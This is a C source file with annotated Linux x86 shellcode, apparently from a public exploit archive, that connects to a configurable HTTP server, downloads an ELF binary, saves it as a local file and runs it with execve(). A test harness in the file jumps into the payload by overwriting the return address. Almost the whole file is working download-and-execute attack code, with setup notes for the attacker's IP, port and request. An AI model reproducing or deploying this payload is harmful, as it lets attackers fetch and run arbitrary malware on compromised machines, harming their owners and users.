/*
 * (linux/x86) - HTTP/1.x GET, Downloads and execve() - 111 bytes+
 *
 * This shellcode allows you to download a ELF executable straight off a standard HTTP server
 * and launch it. It will saved locally it into a filename called 'A' in the current directory.
 * 
 * <_CONFIGURATION>
 *
 * > The destination IP of the HTTP server is required (NO DNS!), use inet_addr() function result and 
 *   modify the value in [1*] from 0xdeadbeef to the actual IP, if the IP contains NULLs then a little 
 *   workaround requires. The simplest is to use ~inet_addr() followed by ``notl (%esp)`` to change back. 
 *
 * > The destination port of the HTTP server is 80 by default, it is located within the 4 upper bytes
 *   of the value in [2*] (0xafff). Stored in an invert format (~), so if any further modification 
 *   needed make sure to keep it stored in the same format.
 *
 * > The destination URL should be generated using the ``gen_httpreq`` utility. It will produce an
 *   assembly code which is a series of PUSH's and should be pasted as it is within in the marked place
 *   in the shellcode (look for the comment).
 * 
 * <_LINKS/UTILITIES>:
 *
 *      gen_httpreq.c, generates a HTTP GET request for this shellcode
 *      > http://www.tty64.org/code/shellcodes/utilities/gen_httpreq.c
 *	backup
 *	> http://www.milw0rm.com/shellcode/2618
 *
 * - izik < izik@tty64.org >
 */

char shellcode[] = 

	"\x6a\x66"              // push $0x66 
	"\x58"                  // pop %eax 
	"\x99"                  // cltd 
	"\x6a\x01"              // push $0x1 
	"\x5b"                  // pop %ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x6a\x02"              // push $0x2 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80"              // int $0x80 
	"\x5b"                  // pop %ebx 
	"\x5e"                  // pop %esi 
	"\x68\xef\xbe\xad\xde"  // [1*] push $0xdeadbeef
	"\xbd\xfd\xff\xff\xaf"  // [2*] mov $0xaffffffd,%ebp 
	"\xf7\xd5"              // not %ebp 
	"\x55"                  // push %ebp 
	"\x43"                  // inc %ebx 
	"\x6a\x10"              // push $0x10 
	"\x51"                  // push %ecx 
	"\x50"                  // push %eax 
	"\xb0\x66"              // mov $0x66,%al 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80"              // int $0x80 
	"\x5f"                  // pop %edi 
	"\xb0\x08"              // mov $0x8,%al 
	"\x52"                  // push %edx 
	"\x6a\x41"              // push $0x41 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x50"                  // push %eax 
	"\x59"                  // pop %ecx 
	"\xcd\x80"              // int $0x80 
	"\x96"                  // xchg %eax,%esi 
	"\x87\xdf"              // xchg %ebx,%edi 

	//
	// <_paste here the code, that gen_httpreq.c outputs!>
	//

	"\xb0\x04"              // mov $0x4,%al 

	//
	// <_send_http_request>:
	//

	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80"              // int $0x80 
	"\x99"                  // cltd 
	"\x42"                  // inc %edx 

	//
	// <_wait_for_dbl_crlf>:
	//

	"\x49"                  // dec %ecx 
	"\xb0\x03"              // mov $0x3,%al 
	"\xcd\x80"              // int $0x80 
	"\x81\x39\x0a\x0d\x0a\x0d" // cmpl $0xd0a0d0a,(%ecx) 
	"\x75\xf3"              // jne <_wait_for_dbl_crlf> 
	"\xb2\x04"              // mov $0x4,%dl 

	//
	// <_dump_loop_do_read>:
	//

	"\xb0\x03"              // mov $0x3,%al 
	"\xf8"                  // clc 


	//
	// <_dump_loop_do_write>:
	//

	"\xcd\x80"              // int $0x80 
	"\x87\xde"              // xchg %ebx,%esi 
	"\x72\xf7"              // jb <_dump_loop_do_read> 
	"\x85\xc0"              // test %eax,%eax 
	"\x74\x05"              // je <_close_file> 
	"\xb0\x04"              // mov $0x4,%al 
	"\xf9"                  // stc 
	"\xeb\xf1"              // jmp <_dump_loop_do_write> 
	"\xb0\x06"              // mov $0x6,%al 
	"\xcd\x80"              // int $0x80 
	"\x99"                  // cltd 
	"\xb0\x0b"              // mov $0xb,%al 
	"\x89\xfb"              // mov %edi,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\xeb\xcc";             // jmp <_send_http_request> 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}